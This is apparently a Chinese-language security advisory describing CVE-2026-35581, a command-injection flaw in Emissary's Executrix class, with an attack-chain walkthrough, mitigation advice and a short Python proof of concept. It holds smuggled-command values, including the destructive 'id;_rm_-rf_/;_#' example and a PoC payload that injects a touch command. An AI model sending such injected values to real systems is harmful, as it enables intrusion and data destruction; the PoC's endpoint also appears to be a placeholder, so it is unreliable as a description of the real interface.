IPBUF安全漏洞报告
English
CVE-2026-35581 CVSS 7.2 高危

CVE-2026-35581 Emissary命令注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35581
漏洞类型
命令注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Emissary

相关标签

命令注入RCEEmissaryCVE-2026-35581高危OS命令注入

漏洞概述

Emissary是一个基于P2P的数据驱动工作流引擎。在8.39.0版本之前,Executrix工具类在构造Shell命令时存在漏洞。它通过拼接配置派生值(如PLACE_NAME参数)来生成命令,且清洗不充分,仅将空格替换为下划线。这允许攻击者注入Shell元字符,导致任意命令执行。该漏洞已在8.39.0版本中修复。

技术细节

该漏洞的根本原因在于Emissary项目中的`Executrix`工具类未正确处理用户输入或配置参数。当构造系统命令时,代码直接将`PLACE_NAME`等配置值拼接到命令字符串中,仅对空格进行了简单的替换操作(替换为下划线)。这种过滤机制极度薄弱,无法阻止Shell元字符(如`; | $` ` ` ( )`等)的注入。由于最终命令通过`/bin/sh -c`执行,攻击者如果能控制`PLACE_NAME`参数,即可利用Shell元字符截断原有命令逻辑,注入并执行任意恶意系统指令。虽然CVSS向量显示需要高权限(PR:H),意味着攻击者通常需要具备管理员或配置权限才能触发该漏洞,但一旦利用成功,攻击者即可获得底层服务器的完全控制权,造成严重的数据泄露或系统破坏。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要获得对Emissary配置界面的高权限访问(PR:H),能够修改PLACE_NAME等配置参数。
STEP 2
2. 构造恶意载荷
攻击者构造包含Shell元字符(如分号、反引号等)的字符串作为PLACE_NAME参数的值,例如 "id;_rm_-rf_/;_#"。
STEP 3
3. 注入与拼接
Emissary的Executrix类接收到参数,仅将空格替换为下划线,随后将其拼接到Shell命令字符串中。
STEP 4
4. 命令执行
拼接后的命令被传递给/bin/sh -c执行,Shell解析器识别元字符并执行攻击者注入的任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-35581 (Emissary Command Injection) # This demonstrates how a malicious PLACE_NAME can lead to RCE. import requests # Target URL (example) target = "http://localhost:8080/emissary/executrix" # The application replaces spaces with underscores. # We use semicolons to separate commands in the shell. # Payload: Create a file named 'pwned' in /tmp/ malicious_place_name = "validPlace;_touch_/tmp/pwned;_#" # Data payload to be sent data = { "PLACE_NAME": malicious_place_name, # Other necessary configuration parameters... } try: print(f"[+] Sending payload to {target}") response = requests.post(target, data=data) if response.status_code == 200: print("[+] Request sent successfully.") print("[*] Check if /tmp/pwned exists on the target system to verify exploitation.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Emissary < 8.39.0

防御指南

临时缓解措施
如果无法立即升级,应严格限制对Emissary配置接口的访问权限,确保只有受信任的管理员账户可以修改PLACE_NAME等关键参数。同时,在系统层面监控/bin/sh的异常调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表